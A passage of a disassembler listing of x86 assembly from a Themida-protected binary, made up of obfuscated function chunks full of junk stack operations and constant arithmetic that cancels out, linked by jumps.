sub ecx, esi
pop esi
jmp loc_595F0C
; ---------------------------------------------------------------------------
loc_5A2620: ; CODE XREF: Themida_:0059E325j
push 2528h
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_593587
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2640: ; CODE XREF: sub_59390B+9D84j
pop ebx
sub esp, 4
mov [esp+14h+var_14], ecx
mov ecx, 1B284431h
sub ecx, 64C9107Bh
push edi
mov edi, esp
add edi, 4
sub edi, 4
push edi
push [esp+1Ch+var_18]
pop edi
pop dword ptr [esp+0]
pop esp
mov [esp+14h+var_14], ebx
push eax
mov eax, 6DE0CFBh
jmp loc_59D0BA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2676: ; CODE XREF: Themida_:005998B7j
pop edx
xor eax, edi
pop edi
jmp loc_597BEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A267F: ; CODE XREF: sub_59390B+FF3j
pop ecx
add esi, 290B45C9h
add esi, edi
sub esi, 290B45C9h
mov edi, [esp+4+var_4]
add esp, 4
push eax
push 4
pop eax
add esi, eax
mov eax, [esp+4+var_4]
add esp, 4
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
jmp loc_5A4077
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A26B4: ; CODE XREF: Themida_:005A2B0Bj
push dword ptr [esp]
jmp loc_59DC74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A26BC: ; CODE XREF: sub_599AE1+4311j
add edx, 2BEA67A4h
push [esp+1Ch+var_1C]
pop esi
add esp, 4
push 867h
mov [esp+1Ch+var_1C], edx
add [esp+1Ch+var_1C], 51F87C07h
pop eax
sub eax, 51F87C07h
push [esp+18h+var_18]
jmp loc_5A3C18
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_5A26E9: ; CODE XREF: Themida_:005A3B5Dj
xor eax, 24C966DFh
xor eax, 16434474h
jmp loc_592790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59667F
loc_5A26F8: ; CODE XREF: sub_59667F+9j
mov dl, 6Ah
push ebx
mov bl, dl
jmp loc_5A0CC2
; END OF FUNCTION CHUNK FOR sub_59667F
; ---------------------------------------------------------------------------
loc_5A2702: ; CODE XREF: Themida_:005A2975j
push ebp
mov ebp, esp
add ebp, 4
push 78F9h
mov [esp], edx
mov edx, 4
jmp loc_5934E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594E5F
loc_5A271D: ; CODE XREF: sub_594E5F+14j
or ebx, 242654D1h
dec ebx
sub ebx, 7DD06695h
xor ebp, ebx
pop ebx
mov edx, ebp
pop ebp
sub edx, edi
pop edi
and eax, edx
push [esp-8+arg_4]
push [esp-4+arg_0]
pop edx
jmp sub_595941
; END OF FUNCTION CHUNK FOR sub_594E5F
; ---------------------------------------------------------------------------
loc_5A2741: ; CODE XREF: Themida_:005A4FC6j
mov edx, esp
jmp loc_599E47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A2748: ; CODE XREF: sub_59CAFB+4AF1j
mov ecx, [esp+8+var_8]
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
add ebx, ebp
mov ebp, [esp+10h+var_10]
add esp, 4
xchg ebx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push 783Eh
mov [esp+0], eax
push esp
pop eax
push 4B0h
mov [esp+4+var_4], ebp
jmp loc_5A2451
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2782: ; CODE XREF: sub_59390B+C9ABj
shl edi, 7
dec edi
and edi, 3DCC0215h
dec edi
add edi, 0C373FDEBh
sub esi, edi
pop edi
sub esi, 0FFFFFFFFh
jmp loc_59965C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A279E: ; CODE XREF: Themida_:00590B88j
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_5A340E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A27B9: ; CODE XREF: sub_59A4D6+5C0Cj
mov eax, [esp+4+var_4]
add esp, 4
add eax, 4
sub esp, 4
jmp loc_5A43CD
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_5A27CC: ; DATA XREF: Themida_:005907ECo
mov cx, [esp]
push 501h
mov [esp], esi
jmp loc_59EBD4
; ---------------------------------------------------------------------------
loc_5A27DD: ; CODE XREF: Themida_:0059359Fj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
mov edi, esp
push 708Ch
mov [esp], edx
push 5AD06E5Fh
jmp loc_598B58
; =============== S U B R O U T I N E =======================================
sub_5A2801 proc near ; DATA XREF: Themida_:00590A18o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00592667 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005985B7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599714 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BEE0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059CF3E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A289B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A34A9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A4E42 SIZE 00000018 BYTES
mov ax, [esp+0]
jmp loc_5A289B
sub_5A2801 endp
; ---------------------------------------------------------------------------
loc_5A280A: ; CODE XREF: Themida_:005A458Fj
mov [esp], eax
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A2812: ; CODE XREF: Themida_:005A2CF5j
shl eax, 1
neg eax
add eax, 1
xor eax, 5702E3FDh
jmp loc_59314F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_5A2823: ; CODE XREF: sub_59B2AF+7039j
pop esp
mov [esp+4+var_4], esp
jmp loc_590FEA
; END OF FUNCTION CHUNK FOR sub_59B2AF
; ---------------------------------------------------------------------------
loc_5A282C: ; CODE XREF: Themida_:00591C12j
mov edi, 75C175B6h
neg edi
push 790Eh
mov [esp], edx
push esi
push ebx
push 60C04319h
jmp loc_59B390
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A2847: ; CODE XREF: sub_595BAD+A883j
push edi
push [esp+0Ch+var_C]
push [esp+10h+var_10]
pop eax
push eax
mov eax, esp
push ebp
jmp loc_59413F
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2858: ; CODE XREF: sub_59390B+E4AEj
xor [esp+0], esi
xor esi, [esp+0]
pop esp
push dword ptr [edi+eax*4]
push dword ptr [esp+0]
pop eax
sub esp, 4
mov [esp+0], edi
push esp
mov edi, [esp+2+var_4+2]
push edx
jmp loc_59A294
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A2876: ; CODE XREF: sub_59A431-4E93j
pop edx
sub ebp, edx
sub ebp, 7C9F2D41h
pop edx
push ebp
jmp loc_5A2F9A
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5A2886: ; CODE XREF: Themida_:0059A69Fj
mov ecx, [esp]
push eax
jmp loc_5A399F
; ---------------------------------------------------------------------------
lodsd
push ebp
mov ebp, 4471BF4h
jmp loc_59CC39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2801
loc_5A289B: ; CODE XREF: sub_5A2801+4j
push 3604h
mov [esp+4+var_4], edi
push ebx
mov ebx, esp
push 1529h
jmp loc_5A34A9
; END OF FUNCTION CHUNK FOR sub_5A2801
; ---------------------------------------------------------------------------
loc_5A28B0: ; CODE XREF: Themida_:0059C7C4j
mov edx, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
or edx, 1CBF6007h
push edx
jmp loc_59BBCE
; ---------------------------------------------------------------------------
loc_5A28CA: ; CODE XREF: Themida_:0059165Cj
sub eax, ecx
sub eax, 326C40F9h
pop ecx
xor eax, 2CC8B586h
sub ebx, eax
pop eax
add edi, ebx
pop ebx
pop ebp
jmp loc_5A402D
; ---------------------------------------------------------------------------
loc_5A28E3: ; CODE XREF: Themida_:0059ABF8j
sub ebp, 2B7098F8h
jmp loc_5A49D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_5A28EE: ; CODE XREF: sub_59D1FC-81BDj
xchg ebp, [esp+0]
jmp loc_59A39C
; END OF FUNCTION CHUNK FOR sub_59D1FC
; =============== S U B R O U T I N E =======================================
sub_5A28F6 proc near ; DATA XREF: Themida_:00590998o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00598676 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005994A6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059FC68 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A2CFA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4731 SIZE 00000024 BYTES
sub esp, 4
mov [esp+4+var_4], esi
push esi
push esp
pop esi
push 6CDCh
mov [esp+0Ch+var_C], edx
mov edx, 4
add esi, 3E762D70h
add esi, edx
sub esi, 3E762D70h
pop edx
jmp loc_59FC68
sub_5A28F6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A2923: ; CODE XREF: sub_59A4D6+B716j
mov edi, [esp+4+var_4]
add esp, 4
xchg eax, [esp+0]
jmp loc_59691A
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_5A2934: ; CODE XREF: Themida_:00592962j
push edx
push edi
mov edi, 2CFE2DFFh
jmp loc_5962F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2940: ; CODE XREF: sub_59390B-757j
sub ebp, 6E61235Ch
push ebp
sub [esp+4+var_4], 143186Ah
pop esi
add esi, 143186Ah
pop ebp
sub ebp, esi
pop esi
xor ebp, [esp-8+arg_0]
xor [esp-8+arg_0], ebp
xor ebp, [esp-8+arg_0]
pop esp
mov [esp-0Ch+arg_4], edx
jmp loc_5A4FDF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_59A3E8
; ---------------------------------------------------------------------------
loc_5A2974: ; CODE XREF: Themida_:0059D8A3j
pop esp
jmp loc_5A2702
; ---------------------------------------------------------------------------
loc_5A297A: ; CODE XREF: Themida_:005A2E16j
push ebp
mov ebp, 3D255D91h
add [esp+0Ch], ebp
pop ebp
add dword ptr [esp+8], 0B261AA0h
add [esp+8], ebp
push esi
jmp loc_59BA5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A2997: ; CODE XREF: sub_599AE1-2D21j
pop esi
add eax, 137C5470h
jmp loc_596017
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A29A2: ; CODE XREF: sub_59390B+D7B2j
add ebx, 4
add ebx, 4
jmp loc_59CFA1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A09BC
loc_5A29B0: ; CODE XREF: sub_5A09BC+1j
push 34585E38h
pop ebp
neg ebp
jmp loc_5955EF
; END OF FUNCTION CHUNK FOR sub_5A09BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A29BD: ; CODE XREF: sub_59390B+10143j
sub edi, ecx
xchg edi, ecx
jmp loc_591B1C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A29C6: ; CODE XREF: Themida_:0059888Ej
mov esi, [esp]
add esp, 4
push esi
jmp loc_5954AB
; ---------------------------------------------------------------------------
loc_5A29D5: ; CODE XREF: Themida_:005A1929j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebx
add ebx, 4
push 7F63h
mov [esp], ebp
mov ebp, 4
sub ebx, 3F076C88h
sub ebx, 766F3199h
jmp loc_5A12C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_5A2A02: ; CODE XREF: sub_5995FC+Cj
mov ah, cl
mov cl, bl
mov bl, ah
pop eax
not cl
xchg cl, bl
sub esp, 4
mov [esp+8+var_8], edx
mov dh, 5
jmp loc_596121
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2A1A: ; CODE XREF: sub_59390B+108C7j
pop eax
add esp, 4
mov edi, [esp+10h+var_10]
add esp, 4
push 2E57h
mov [esp+10h+var_10], ebp
mov ebp, 4
add edi, ebp
mov ebp, [esp+10h+var_10]
add esp, 4
add edi, 2
xchg edi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
test cl, al
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DD1C
loc_5A2A4D: ; CODE XREF: sub_59DD1C+27j
push 6871h
mov [esp+8+var_8], ebx
jmp loc_59A12F
; END OF FUNCTION CHUNK FOR sub_59DD1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591F0D
loc_5A2A5A: ; CODE XREF: sub_591F0D+9857j
push eax
mov eax, 404F447Bh
and ebp, eax
pop eax
push ecx
mov ecx, 5CF021A0h
add ebp, ecx
mov ecx, [esp+8+var_8]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
xor edx, ebp
mov ebp, [esp+8+var_8]
push edx
mov edx, esp
push eax
mov eax, 249866F5h
jmp loc_59F7D3
; END OF FUNCTION CHUNK FOR sub_591F0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A2A91: ; CODE XREF: sub_594D13+10EA5j
xchg ecx, [esp+4+var_4]
jmp loc_594E78
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2A99: ; CODE XREF: sub_59390B+56Fj
mov edx, esp
jmp loc_59AD35
; ---------------------------------------------------------------------------
loc_5A2AA0: ; CODE XREF: sub_59390B+BCE0j
sub al, bl
pop ebx
jmp loc_59C1C4
; ---------------------------------------------------------------------------
loc_5A2AA8: ; CODE XREF: sub_59390B+8FDj
mov esi, [esp+10h+var_10]
add esp, 4
and eax, esi
push [esp+0Ch+var_C]
mov esi, [esp+10h+var_10]
push edi
push edx
push esp
pop edx
add edx, 4
sub edx, 4
sub esp, 4
mov [esp+0], edx
jmp loc_5A0CA9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2AD4: ; CODE XREF: Themida_:0059C391j
mov [esp], ecx
sub esp, 4
mov [esp], edx
mov edx, 4
mov ecx, edx
mov edx, [esp]
add esp, 4
sub edx, 5F520538h
add edx, ecx
add edx, 5F520538h
push dword ptr [esp]
pop ecx
add esp, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A26B4
; ---------------------------------------------------------------------------
loc_5A2B10: ; CODE XREF: Themida_:005A19FFj
sub esp, 4
jmp loc_59A940
; ---------------------------------------------------------------------------
loc_5A2B18: ; CODE XREF: Themida_:005A18B3j
xchg esi, [esp]
mov esp, [esp]
jmp loc_590EA6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A2B23: ; CODE XREF: sub_595BAD+49DFj
pop edx
xor edx, 2FB0713h
jmp loc_59CBA2
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2B2F: ; CODE XREF: sub_59390B+11C1Dj
push ecx
jmp loc_59DD6E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5A2B35: ; CODE XREF: sub_59918B+2E2Dj
push 13C1h
mov [esp-8+arg_4], edi
mov edi, 4
jmp loc_59523A
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_5A2B47: ; CODE XREF: Themida_:005913BEj
or ecx, 1A0C7312h
add ecx, 2B742F87h
sub ebx, ecx
pop ecx
add edi, ebx
jmp loc_5A33F4
; ---------------------------------------------------------------------------
loc_5A2B5D: ; CODE XREF: Themida_:0059A91Cj
mov ebx, 5C0E29C7h
sub ebx, 5C0E29C5h
mov ecx, ebx
jmp loc_598BBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A2B6F: ; CODE XREF: sub_595BAD+7A3Cj
shr edx, 2
and edx, 748E37DAh
push 3AB6h
mov [esp+14h+var_14], edi
mov edi, 3340907h
add edx, edi
pop edi
push eax
jmp loc_59E61D
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2B8E: ; CODE XREF: sub_59390B-530j
push edi
mov edi, 4
add esi, edi
jmp loc_59AFD7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2B9B: ; CODE XREF: Themida_:00590ECBj
inc esi
sub esi, 4BD9436Fh
sub esi, 0F03293C3h
add eax, 2799404Dh
sub eax, esi
sub eax, 2799404Dh
jmp loc_597CC5
; ---------------------------------------------------------------------------
loc_5A2BB9: ; CODE XREF: Themida_:0059F57Cj
push eax
mov eax, 121A8E25h
xor ebx, eax
jmp loc_59D8D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A2BC6: ; CODE XREF: sub_599AE1+3AA0j
pop edi
jmp loc_5A069F
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2BCC: ; CODE XREF: sub_59390B+2E51j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
movzx eax, al
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 3FCh
push esi
mov esi, 7A120046h
push edx
mov edx, 334A6A5Eh
add edi, edx
pop edx
add edi, esi
jmp loc_594244
; ---------------------------------------------------------------------------
loc_5A2C06: ; CODE XREF: sub_59390B+9198j
pop eax
add esi, 4
xchg esi, [esp-18h+arg_10]
pop esp
xor eax, [esp-1Ch+arg_14]
xor [esp-1Ch+arg_14], eax
xor eax, [esp-1Ch+arg_14]
jmp loc_590B93
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2C1C: ; CODE XREF: Themida_:0059C57Cj
xor eax, 23E61468h
neg eax
push ecx
mov ecx, 0C8FEE0FCh
add eax, ecx
pop ecx
xor edi, eax
jmp loc_597028
; ---------------------------------------------------------------------------
loc_5A2C33: ; CODE XREF: Themida_:005962F1j
mov esp, [esp]
mov [esp], ebx
push 3B8Eh
mov [esp], esp
sub esp, 4
mov [esp], esi
push eax
push 33885610h
pop eax
push 0FBEh
mov [esp], edi
mov edi, 3388560Ch
sub eax, edi
pop edi
mov esi, eax
mov eax, [esp]
add esp, 4
jmp loc_5A2EBF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2C6E: ; CODE XREF: sub_59390B+388j
xchg edx, ebp
sub ebp, 13B837E5h
xor ebp, 90594893h
jmp loc_59D7DD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2C81: ; CODE XREF: Themida_:00596999j
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
jmp loc_590C5D
; ---------------------------------------------------------------------------
loc_5A2C95: ; CODE XREF: Themida_:005A448Bj
push ebp
mov ebp, 7EAF6FF8h
xor edx, ebp
jmp loc_59E885
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2CA2: ; CODE XREF: sub_59390B+2A04j
pop ebx
xor edi, [esp-18h+arg_10]
jmp loc_5A500A
; ---------------------------------------------------------------------------
loc_5A2CAB: ; CODE XREF: sub_59390B+D3j
xchg edi, [esp+4+var_4]
jmp sub_59A072
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5A2CB3: ; CODE XREF: sub_59918B+8503j
mov edx, 4
push eax
push 58C579C5h
pop eax
add esi, eax
mov eax, [esp+0]
push eax
mov eax, esp
jmp loc_593BD5
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A2CCC: ; CODE XREF: sub_59A4D6+7B3Fj
mov ebx, [esp+0Ch+var_C]
add esp, 4
sub edx, ebx
add edx, 71F56AC7h
pop ebx
or ebp, edx
pop edx
push eax
push ecx
mov ecx, 0A904366h
mov eax, ecx
jmp loc_59B9E5
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_5A2CEC: ; CODE XREF: Themida_:0059A749j
pop esp
mov [esp], eax
mov eax, 4BA0233Ah
jmp loc_5A2812
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A28F6
loc_5A2CFA: ; CODE XREF: sub_5A28F6+1E5Aj
push eax
jmp loc_5994A6
; END OF FUNCTION CHUNK FOR sub_5A28F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_5A2D00: ; CODE XREF: sub_5936EC+BDD2j
xor edx, ecx
mov ecx, [esp+8+var_8]
add esp, 4
push 5E9Eh
mov [esp+8+var_8], edx
add [esp+8+var_8], 37A231Dh
pop ebx
sub ebx, 37A231Dh
pop edx
add ebx, 85C38665h
and eax, ebx
jmp loc_592503
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_5A2D2C: ; CODE XREF: Themida_:00598A97j
push edx
jmp loc_5921F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2D32: ; CODE XREF: sub_59390B-24EEj
sub ebx, eax
jmp loc_59C4D8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2D39: ; CODE XREF: Themida_:0059B014j
mov [esp], edx
jmp loc_598E78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_5A2D41: ; CODE XREF: sub_5A085D-DF5Cj
sub ch, 57h
sub ch, 0FFh
push bx
jmp loc_59EBA9
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2D4E: ; CODE XREF: sub_59390B+B890j
push edx
jmp loc_5A3B10
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A2D54: ; CODE XREF: sub_595BAD+BD9Bj
sub edi, 3A4867DCh
mov ecx, [esp-0Ch+arg_8]
add esp, 4
jmp loc_598CEE
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_5A2D65: ; CODE XREF: sub_590BDF+D50Bj
push dword ptr [esp+4]
jmp loc_59EA90
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_5A2D6E: ; CODE XREF: sub_5964B7+7B90j
xchg ebx, [esp+10h+var_10]
pop esp
mov ebp, [esp+0Ch+var_C]
add esp, 4
jmp loc_594903
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2D7D: ; CODE XREF: sub_59390B+11F0Cj
add esp, 4
sub esi, 359F323Fh
add esi, ebp
jmp loc_59727A
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5A2D8D proc near ; DATA XREF: Themida_:005909A4o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591BF9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596B0F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AE21 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C271 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A39D2 SIZE 00000014 BYTES
mov ax, [esp+0]
push ebp
mov ebp, esp
push ecx
mov ecx, 7E65147Bh
shr ecx, 8
push ecx
not [esp+8+var_8]
pop ecx
sub ecx, 0FF819AE7h
jmp loc_5A39D2
sub_5A2D8D endp
; ---------------------------------------------------------------------------
loc_5A2DAD: ; CODE XREF: Themida_:005920E4j
mov ch, 4Fh
sub bl, ch
pop ecx
sub bl, al
add bl, 4Fh
add bl, 0B9h
jmp loc_5A2FC0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2DBF: ; CODE XREF: sub_59390B+E922j
mov eax, ebp
push [esp+0Ch+var_C]
mov ebp, [esp+10h+var_10]
add esp, 4
push edi
mov edi, esp
add edi, 4
jmp loc_59D937
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5A2DDB: ; CODE XREF: sub_59918B+6E7j
mov [esp+8+var_8], edx
push 7C3Ah
mov [esp+0], eax
push edi
mov edi, 30F1E4Eh
xor edi, 0D8F7E28h
jmp loc_59BB37
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_5A2DF7: ; CODE XREF: Themida_:00597D99j
add cl, 0E0h
sub dh, cl
pop ecx
push eax
mov ah, 0A8h
inc ah
add ah, 1
add ah, 84h
jmp loc_5A4BB1
; ---------------------------------------------------------------------------
loc_5A2E0D: ; CODE XREF: Themida_:0059DBB0j
pop esp
mov [esp], ebp
mov ebp, 27AA3B1Eh
jmp loc_5A297A
; ---------------------------------------------------------------------------
loc_5A2E1B: ; CODE XREF: Themida_:00595016j
pop ebp
pop dword ptr [esp]
mov esp, [esp]
and [esp], al
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2E2B: ; CODE XREF: sub_59390B+8EC1j
pop esp
add eax, 4
sub eax, 4
xchg eax, [esp-10h+arg_8]
pop esp
mov [esp-14h+arg_C], edi
mov edi, esp
add edi, 4
jmp loc_5999D4
; ---------------------------------------------------------------------------
loc_5A2E48: ; CODE XREF: sub_59390B+7Aj
add ecx, 0BB3182DAh
mov edi, ecx
jmp loc_5A24F6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5A2E55: ; CODE XREF: sub_5A4CDD-1361Bj
pop ecx
push 0
sub [esp+0], eax
pop eax
sub eax, 0E2842C97h
jmp loc_59921A
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_5A2E69: ; CODE XREF: Themida_:0059D055j
mov ebp, 593A095Bh
sub edx, ebp
pop ebp
add edx, eax
push ebx
mov ebx, 593A095Bh
add edx, ebx
pop ebx
pop eax
jmp loc_5A49A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2E82: ; CODE XREF: sub_59390B+1006Bj
mov esp, [esp-0Ch+arg_4]
jmp loc_591A3B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A2E8A: ; CODE XREF: sub_59E918-162Fj
add al, cl
sub al, 68h
pop ecx
push small 1AD9h
mov word ptr [esp+8+var_8], ax
mov ah, 97h
not ah
sub ah, 0DDh
shr ah, 5
jmp loc_598B95
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_5A2EA6: ; CODE XREF: Themida_:005A50D9j
mov al, 0B1h
mov cl, al
jmp loc_596A7B
; ---------------------------------------------------------------------------
loc_5A2EAF: ; CODE XREF: Themida_:0059B99Ej
mov ecx, [esp]
add esp, 4
push 43Dh
jmp loc_59FC96
; ---------------------------------------------------------------------------
loc_5A2EBF: ; CODE XREF: Themida_:005A2C69j
add [esp+4], esi
jmp loc_592CDA
; ---------------------------------------------------------------------------
loc_5A2EC8: ; CODE XREF: Themida_:0059EBF9j
mov edx, esp
jmp loc_5989AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A2ECF: ; CODE XREF: sub_59A4D6-E8Aj
push 1
push [esp+10h+var_10]
pop edi
jmp loc_59D383
; END OF FUNCTION CHUNK FOR sub_59A4D6
